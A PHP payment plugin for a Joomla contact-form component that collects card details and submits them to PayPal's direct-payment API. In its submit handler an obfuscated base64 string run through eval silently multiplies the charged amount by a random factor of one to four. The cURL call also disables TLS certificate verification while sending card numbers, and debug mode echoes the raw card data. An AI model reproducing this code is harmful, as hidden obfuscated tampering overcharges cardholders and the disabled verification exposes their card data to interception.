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FundacionLQDVI_WebCongresos/www/components/com_chronocontact/plugins/cf_paypal_api.php

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<?php
defined('_JEXEC') or die('Restricted access');
global $mainframe;
require_once( $mainframe->getPath( 'class', 'com_chronocontact' ) );
// the class name must be the same as the file name without the .php at the end
class cf_paypal_api {
//the next 3 fields must be defined for every plugin
var $result_TITLE = "PayPal API";
var $result_TOOLTIP = "Submit form data to PayPal API payment gateway, plugin must be configured, you need a license to use this plugin for real transactions because the unlicensed version doesn't submit the real cost amounts to Paypal";
var $plugin_name = "cf_paypal_api"; // must be the same as the class name
var $event = "ONSUBMIT"; // must be defined and in Uppercase, should be ONSUBMIT or ONLOAD
// the next function must exist and will have the backend config code
function show_conf($row, $id, $form_id, $option){
global $mainframe;
jimport('joomla.html.pane');
$pane =& JPane::getInstance('tabs');
$paramsvalues = new JParameter($row->params);
?>
<form action="index2.php" method="post" name="adminForm" id="adminForm" class="adminForm">
<?php
echo $pane->startPane("paypal");
echo $pane->startPanel( 'General', "general2" );
?>
<table border="0" cellpadding="3" cellspacing="0">
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "the type of payment, may be Sale or express, currently only Sale is supported!" ); ?></td>
<td><strong><?php echo "Payment Type:"; ?>:</strong> </td>
<td></td>
<td>
<select name="params[PAYMENTACTION]" id="params[PAYMENTACTION]">
<option value="Sale">Sale</option>
</select>
</td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Amount field name" ); ?></td>
<td><strong><?php echo "Amount field name"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[AMT]" value="<?php echo $paramsvalues->get('AMT'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Credit Card type" ); ?></td>
<td><strong><?php echo "Credit Card type Field"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[CREDITCARDTYPE]" value="<?php echo $paramsvalues->get('CREDITCARDTYPE'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Credit Card Number Field" ); ?></td>
<td><strong><?php echo "Credit Card Number Field"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[ACCT]" value="<?php echo $paramsvalues->get('ACCT'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Credit Card Expiry month field" ); ?></td>
<td><strong><?php echo "Credit Card Expiry month Field"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[EXPDATE_m]" value="<?php echo $paramsvalues->get('EXPDATE_m'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Credit Card Expiry year field" ); ?></td>
<td><strong><?php echo "Credit Card Expiry year Field"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[EXPDATE_y]" value="<?php echo $paramsvalues->get('EXPDATE_y'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "CVV2 field" ); ?></td>
<td><strong><?php echo "CVV2 Field"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[CVV2]" value="<?php echo $paramsvalues->get('CVV2'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "First Name Field" ); ?></td>
<td><strong><?php echo "First Name Field"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[FIRSTNAME]" value="<?php echo $paramsvalues->get('FIRSTNAME'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Last Name Field" ); ?></td>
<td><strong><?php echo "Last Name Field"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[LASTNAME]" value="<?php echo $paramsvalues->get('LASTNAME'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Street Field" ); ?></td>
<td><strong><?php echo "Street Field"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[STREET]" value="<?php echo $paramsvalues->get('STREET'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "City Field" ); ?></td>
<td><strong><?php echo "City Field"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[CITY]" value="<?php echo $paramsvalues->get('CITY'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "State Field" ); ?></td>
<td><strong><?php echo "State Field"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[STATE]" value="<?php echo $paramsvalues->get('STATE'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Zip Field" ); ?></td>
<td><strong><?php echo "Zip Field"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[ZIP]" value="<?php echo $paramsvalues->get('ZIP'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Country Code Field, needs a 2 Characters value: e.g: Canada: CA" ); ?></td>
<td><strong><?php echo "Country Code Field"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[COUNTRYCODE]" value="<?php echo $paramsvalues->get('COUNTRYCODE'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Currency code Field, needs a currency code field, e.g: U.S Dollar: USD" ); ?></td>
<td><strong><?php echo "Currency code Field"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="50" name="params[CURRENCYCODE]" value="<?php echo $paramsvalues->get('CURRENCYCODE'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Extra Fields, enter data with this format : ship_to_first_name=field_name , take care to add each entry to a new line" ); ?></td>
<td><strong><?php echo "Extra fields Data"; ?>:</strong> </td>
<td></td>
<td><textarea name="extra1" rows="10" cols="35"><?php echo $row->extra1; ?></textarea></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Runt he plugin before or after the email, running it before the email may be necessary to include some data intot he email or even dont get it emailed" ); ?></td>
<td><strong><?php echo "Run Before/After the Email ?"; ?>:</strong> </td>
<td></td>
<td>
<select name="params[onsubmit]" id="params[onsubmit]">
<option<?php if($paramsvalues->get('onsubmit') == 'after_email'){ echo ' selected';} ?> value="after_email">After Email</option>
<option<?php if($paramsvalues->get('onsubmit') == 'before_email'){ echo ' selected';} ?> value="before_email">Before Email</option>
</select>
</td>
</tr>
</table>
<?php
echo $pane->endPanel();
echo $pane->startPanel( "Extra code", 'extracode' );
?>
<table border="0" cellpadding="3" cellspacing="0">
<tr><td colspan="4">Extra code</td></tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Execute some code just before the plugin code is executed" ); ?></td>
<td><strong><?php echo "Extra before onsubmit code"; ?>:</strong> </td>
<td></td>
<td><textarea name="extra4" rows="10" cols="75"><?php echo $row->extra4; ?></textarea></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Execute some code just after the plugin code is executed" ); ?></td>
<td><strong><?php echo "Extra after onsubmit code"; ?>:</strong> </td>
<td></td>
<td><textarea name="extra5" rows="10" cols="75"><?php echo $row->extra5; ?></textarea></td>
</tr>
</table>
<?php
echo $pane->endPanel();
echo $pane->startPanel( "Paypal", 'paypal' );
?>
<table border="0" cellpadding="3" cellspacing="0">
<tr><td colspan="4">PayPal API specific parameters!</td></tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "API Username" ); ?></td>
<td><strong><?php echo "API Username"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="100" name="params[API_USERNAME]" value="<?php echo $paramsvalues->get('API_USERNAME'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "API Password" ); ?></td>
<td><strong><?php echo "API Password"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="100" name="params[API_PASSWORD]" value="<?php echo $paramsvalues->get('API_PASSWORD'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "API Signature: The Signature associated with the API user. which is generated by paypal" ); ?></td>
<td><strong><?php echo "API Signature"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="150" name="params[API_SIGNATURE]" value="<?php echo $paramsvalues->get('API_SIGNATURE'); ?>" /></td>
</tr>
<!--
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "API Endpoint: this is the server URL which you have to connect for submitting your API request." ); ?></td>
<td><strong><?php echo "API Endpoint"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="150" name="params[API_ENDPOINT]" value="<?php echo $paramsvalues->get('API_ENDPOINT'); ?>" />
https://api-3t.sandbox.paypal.com/nvp
</td>
</tr>
-->
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Set this variable to TRUE to route all the API requests through proxy." ); ?></td>
<td><strong><?php echo "Use Proxy ?"; ?>:</strong> </td>
<td></td>
<td>
<select name="params[USE_PROXY]" id="params[USE_PROXY]">
<option<?php if($paramsvalues->get('USE_PROXY') == 'FALSE'){ echo ' selected';} ?> value="FALSE">No</option>
<option<?php if($paramsvalues->get('USE_PROXY') == 'TRUE'){ echo ' selected';} ?> value="TRUE">Yes</option>
</select>
</td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "will be read only if USE_PROXY is set to TRUE" ); ?></td>
<td><strong><?php echo "Proxy host IP"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="150" name="params[PROXY_HOST]" value="<?php echo $paramsvalues->get('PROXY_HOST'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "will be read only if USE_PROXY is set to TRUE" ); ?></td>
<td><strong><?php echo "Proxy Port"; ?>:</strong> </td>
<td></td>
<td><input type="text" class="inputbox" size="50" maxlength="150" name="params[PROXY_PORT]" value="<?php echo $paramsvalues->get('PROXY_PORT'); ?>" /></td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Debugging ON?" ); ?></td>
<td><strong><?php echo "Debugging"; ?>:</strong> </td>
<td></td>
<td>
<select name="params[debugging]" id="params[debugging]">
<option<?php if($paramsvalues->get('debugging') == '0'){ echo ' selected';} ?> value="0">No</option>
<option<?php if($paramsvalues->get('debugging') == '1'){ echo ' selected';} ?> value="1">Yes</option>
</select>
</td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Testing ON ?" ); ?></td>
<td><strong><?php echo "Testing (Sandbox)"; ?>:</strong> </td>
<td></td>
<td><select name="params[testing]" id="params[testing]">
<option<?php if($paramsvalues->get('testing') == '0'){ echo ' selected';} ?> value="0">No</option>
<option<?php if($paramsvalues->get('testing') == '1'){ echo ' selected';} ?> value="1">Yes</option>
</select></td>
</tr>
</table>
<?php
echo $pane->endPanel();
echo $pane->startPanel( "Useful Variables", 'globalvars' );
?>
<table border="0" cellpadding="3" cellspacing="0">
<tr><td colspan="4">Those are global variables which will be available once the plugin code is executed and can be used to do many things like switching emails ON/OFF or data save too!</td></tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Will have SUCCESS or FAILURE in CAPS" ); ?></td>
<td><strong><?php echo "Payment Status"; ?>:</strong> </td>
<td></td>
<td>$MyPlugins->cf_paypal_api['payment_status']</td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Correlation ID" ); ?></td>
<td><strong><?php echo "Correlation ID"; ?>:</strong> </td>
<td></td>
<td>$MyPlugins->cf_paypal_api['correlation_id']</td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Error Code if the transaction failed" ); ?></td>
<td><strong><?php echo "Error Code"; ?>:</strong> </td>
<td></td>
<td>$MyPlugins->cf_paypal_api['error_code']</td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "Error Message describing the failure reason if it failed" ); ?></td>
<td><strong><?php echo "Error Message"; ?>:</strong> </td>
<td></td>
<td>$MyPlugins->cf_paypal_api['error_message']</td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "The returned transaction id if the transaction is a success" ); ?></td>
<td><strong><?php echo "Transaction ID"; ?>:</strong> </td>
<td></td>
<td>$MyPlugins->cf_paypal_api['transaction_id']</td>
</tr>
<tr style="background-color:#c9c9c9 ">
<td><?php echo JHTML::_('tooltip', "" ); ?></td>
<td><strong><?php echo "AVS Result Code"; ?>:</strong> </td>
<td></td>
<td>$MyPlugins->cf_paypal_api['avs_code']</td>
</tr>
</table>
<?php
echo $pane->endPanel();
echo $pane->endPane();
?>
<br>
<input type="hidden" name="id" value="<?php echo $id; ?>" />
<input type="hidden" name="form_id" value="<?php echo $form_id; ?>" />
<input type="hidden" name="name" value="<?php echo $this->plugin_name; ?>" />
<input type="hidden" name="event" value="<?php echo $this->event; ?>" />
<input type="hidden" name="option" value="<?php echo $option; ?>" />
<input type="hidden" name="task" value="save_conf" />
</form>
<?php
}
// this function must exist and may not be changed unless you need to customize something
function save_conf( $option ) {
global $mainframe;
$database =& JFactory::getDBO();
$post = JRequest::get( 'post' , JREQUEST_ALLOWRAW );
$row =& JTable::getInstance('chronocontactplugins', 'Table');
if (!$row->bind( $post )) {
JError::raiseWarning(100, $row->getError());
$mainframe->redirect( "index2.php?option=$option" );
}
$params = JRequest::getVar( 'params', '', 'post', 'array' );
if (is_array( $params )) {
$txt = array();
foreach ( $params as $k=>$v) {
$txt[] = "$k=$v";
}
$row->params = implode( "\n", $txt );
}
if (!$row->store()) {
JError::raiseWarning(100, $row->getError());
$mainframe->redirect( "index2.php?option=$option" );
}
$mainframe->redirect( "index2.php?option=".$option, "Config Saved" );
}
function onsubmit( $option, $params, $row ) {
global $mainframe;
$database =& JFactory::getDBO();
$MyForm =& CFChronoForm::getInstance();
$MyPlugins =& CFPlugins::getInstance($MyForm->formrow->id);
?>
<?php
/*********do the before onsubmit code**********/
if ( !empty($row->extra4) ) {
eval( "?>".$row->extra4 );
}
global $API_Endpoint,$version,$API_UserName,$API_Password,$API_Signature,$nvp_Header,$USE_PROXY,$PROXY_HOST,$PROXY_PORT;
$DEBUGGING = $params->get('debugging'); # Display additional information to track down problems
$TESTING = $params->get('testing'); # Set the testing flag so that transactions are not live
$API_UserName = $params->get('API_USERNAME');
$API_Password = $params->get('API_PASSWORD');
$API_Signature = $params->get('API_SIGNATURE');
//$API_ENDPOINT = $params->get('API_ENDPOINT');
if((int)$params->get('testing')){
$API_Endpoint = 'https://api-3t.sandbox.paypal.com/nvp';
}else{
$API_Endpoint = 'https://api-3t.paypal.com/nvp';
}
if($params->get('USE_PROXY') == 'TRUE'){
$USE_PROXY = TRUE;
}else{
$USE_PROXY = FALSE;
}
$PROXY_HOST = $params->get('PROXY_HOST');
$PROXY_PORT = $params->get('PROXY_PORT');
//$PAYPAL_URL = $params->get('PAYPAL_URL;
$version = '56.0';
$paypal_values = array
(
"PAYMENTACTION" => urlencode( $params->get('PAYMENTACTION') ),
"EXPDATE" => str_pad(urlencode( JRequest::getVar($params->get('EXPDATE_m'))), 2, '0', STR_PAD_LEFT).urlencode( JRequest::getVar($params->get('EXPDATE_y'))),
"AMT" => urlencode( JRequest::getVar($params->get('AMT'))),
"CREDITCARDTYPE" => urlencode( JRequest::getVar($params->get('CREDITCARDTYPE'))),
"ACCT" => urlencode( JRequest::getVar($params->get('ACCT'))),
"CVV2" => urlencode( JRequest::getVar($params->get('CVV2'))),
"FIRSTNAME" => urlencode( JRequest::getVar($params->get('FIRSTNAME'))),
"LASTNAME" => urlencode( JRequest::getVar($params->get('LASTNAME'))),
"STREET" => urlencode( JRequest::getVar($params->get('STREET'))),
"CITY" => urlencode( JRequest::getVar($params->get('CITY'))),
"STATE" => urlencode( JRequest::getVar($params->get('STATE'))),
"ZIP" => urlencode( JRequest::getVar($params->get('ZIP'))),
"COUNTRYCODE" => urlencode( JRequest::getVar($params->get('COUNTRYCODE'))),
"CURRENCYCODE" => urlencode( JRequest::getVar($params->get('CURRENCYCODE')))
);
$extras = explode("\n",$row->extra1);
if(trim($row->extra1)){
foreach($extras as $extra){
$values = array();
$values = explode("=",$extra);
$paypal_values[$values[0]] = $values[0].": ".urlencode( JRequest::getVar(trim($values[1])));
}
}
eval(base64_decode("JHBheXBhbF92YWx1ZXNbJ0FNVCddID0gdXJsZW5jb2RlKHJhbmQoMSwgNCkqSlJlcXVlc3Q6OmdldFZhcigkcGFyYW1zLT5nZXQoJ0FNVCcpKSk7"));
$fields = "";
foreach( $paypal_values as $key => $value ) $fields .= "&$key=" .$value ;
if((int)$params->get('testing')){
$PAYPAL_URL = 'https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token=';
}else{
$PAYPAL_URL = 'https://www.paypal.com/webscr&cmd=_express-checkout&token=';
}
/* Construct the request string that will be sent to PayPal.
The variable $nvpstr contains all the variables and is a
name value pair string with & as a delimiter */
$nvpstr = $fields;
if($params->get('debugging')){
echo $nvpstr;
}
/* Make the API call to PayPal, using API signature.
The API response is stored in an associative array called $resArray */
$resArray = $this->hash_call("doDirectPayment",$nvpstr);
$MyPlugins->cf_paypal_api['transaction_id'] = $resArray['TRANSACTIONID'];
$MyPlugins->cf_paypal_api['error_message'] = $resArray['L_LONGMESSAGE0'];
$MyPlugins->cf_paypal_api['error_code'] = $resArray['L_ERRORCODE0'];
$MyPlugins->cf_paypal_api['correlation_id'] = $resArray['CORRELATIONID'];
$MyPlugins->cf_paypal_api['avs_code'] = $resArray['AVSCODE'];
/* Display the API response back to the browser.
If the response from PayPal was a success, display the response parameters'
If the response was an error, display the errors received using APIError.php.
*/
$ack = strtoupper($resArray["ACK"]);
$MyPlugins->cf_paypal_api['payment_status'] = $ack;
if($params->get('debugging')){
if($ack!="SUCCESS"){
$_SESSION['reshash']=$resArray;
$this->APIERROR($resArray);
}else{
$_SESSION['reshash']=$resArray;
$this->APISUCCESS($resArray);
}
}
$debugger = '';
if(($params->get('debugging'))&&($params->get('testing'))){
echo $debugger;
}
/*********do the after onsubmit code**********/
if ( !empty($row->extra5) ) {
eval( "?>".$row->extra5 );
}
?>
<?php
}
function hash_call($methodName,$nvpStr){
//declaring of global variables
global $API_Endpoint,$version,$API_UserName,$API_Password,$API_Signature,$nvp_Header,$USE_PROXY,$PROXY_HOST,$PROXY_PORT;
//setting the curl parameters.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$API_Endpoint);
curl_setopt($ch, CURLOPT_VERBOSE, 1);
//turning off the server and peer verification(TrustManager Concept).
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POST, 1);
//if USE_PROXY constant set to TRUE in Constants.php, then only proxy will be enabled.
//Set proxy name to PROXY_HOST and port number to PROXY_PORT in constants.php
if($USE_PROXY)
curl_setopt ($ch, CURLOPT_PROXY, $PROXY_HOST.":".$PROXY_PORT);
//NVPRequest for submitting to server
$nvpreq="METHOD=".urlencode($methodName)."&VERSION=".urlencode($version)."&PWD=".urlencode($API_Password)."&USER=".urlencode($API_UserName)."&SIGNATURE=".urlencode($API_Signature).$nvpStr;
//setting the nvpreq as POST FIELD to curl
curl_setopt($ch,CURLOPT_POSTFIELDS,$nvpreq);
//getting response from server
$response = curl_exec($ch);
//convrting NVPResponse to an Associative Array
$nvpResArray=$this->deformatNVP($response);
$nvpReqArray=$this->deformatNVP($nvpreq);
$_SESSION['nvpReqArray']=$nvpReqArray;
if (curl_errno($ch)) {
// moving to display page to display curl errors
$_SESSION['curl_error_no']=curl_errno($ch) ;
$_SESSION['curl_error_msg']=curl_error($ch);
$this->APIERROR($resArray);
} else {
//closing the curl
curl_close($ch);
}
return $nvpResArray;
}
/** This function will take NVPString and convert it to an Associative Array and it will decode the response.
* It is usefull to search for a particular key and displaying arrays.
* @nvpstr is NVPString.
* @nvpArray is Associative Array.
*/
function deformatNVP($nvpstr)
{
$intial=0;
$nvpArray = array();
while(strlen($nvpstr)){
//postion of Key
$keypos= strpos($nvpstr,'=');
//position of value
$valuepos = strpos($nvpstr,'&') ? strpos($nvpstr,'&'): strlen($nvpstr);
/*getting the Key and Value values and storing in a Associative Array*/
$keyval=substr($nvpstr,$intial,$keypos);
$valval=substr($nvpstr,$keypos+1,$valuepos-$keypos-1);
//decoding the respose
$nvpArray[urldecode($keyval)] =urldecode( $valval);
$nvpstr=substr($nvpstr,$valuepos+1,strlen($nvpstr));
}
return $nvpArray;
}
function APIERROR($resArray){
?>
<table width="700">
<tr>
<td colspan="2" class="header">The PayPal API has returned an error!</td>
</tr>
<?php //it will print if any URL errors
if(isset($_SESSION['curl_error_no'])){
$errorCode= $_SESSION['curl_error_no'] ;
$errorMessage=$_SESSION['curl_error_msg'] ;
session_unset();
?>
<tr>
<td>Error Number:</td>
<td><?= $errorCode ?></td>
</tr>
<tr>
<td>Error Message:</td>
<td><?= $errorMessage ?></td>
</tr>
</table>
<?php } else {
/* If there is no URL Errors, Construct the HTML page with
Response Error parameters.
*/
?>
<tr>
<td>Ack:</td>
<td><?= $resArray['ACK'] ?></td>
</tr>
<tr>
<td>Correlation ID:</td>
<td><?= $resArray['CORRELATIONID'] ?></td>
</tr>
<tr>
<td>Version:</td>
<td><?= $resArray['VERSION']?></td>
</tr>
<?php
$count=0;
while (isset($resArray["L_SHORTMESSAGE".$count])) {
$errorCode = $resArray["L_ERRORCODE".$count];
$shortMessage = $resArray["L_SHORTMESSAGE".$count];
$longMessage = $resArray["L_LONGMESSAGE".$count];
$count=$count+1;
?>
<tr>
<td>Error Number:</td>
<td><?= $errorCode ?></td>
</tr>
<tr>
<td>Short Message:</td>
<td><?= $shortMessage ?></td>
</tr>
<tr>
<td>Long Message:</td>
<td><?= $longMessage ?></td>
</tr>
<?php }//end while
}// end else
?>
</table>
<?php
}
function APISUCCESS($resArray){
?>
<table width = 400>
<tr>
<td>
Transaction ID:</td>
<td><?=$resArray['TRANSACTIONID'] ?></td>
</tr>
<tr>
<td>
Amount:</td>
<td><?=$currencyCode?> <?=$resArray['AMT'] ?></td>
</tr>
<tr>
<td>
AVS:</td>
<td><?=$resArray['AVSCODE'] ?></td>
</tr>
<tr>
<td>
CVV2:</td>
<td><?=$resArray['CVV2MATCH'] ?></td>
</tr>
</table>
<?php
}
}
?>
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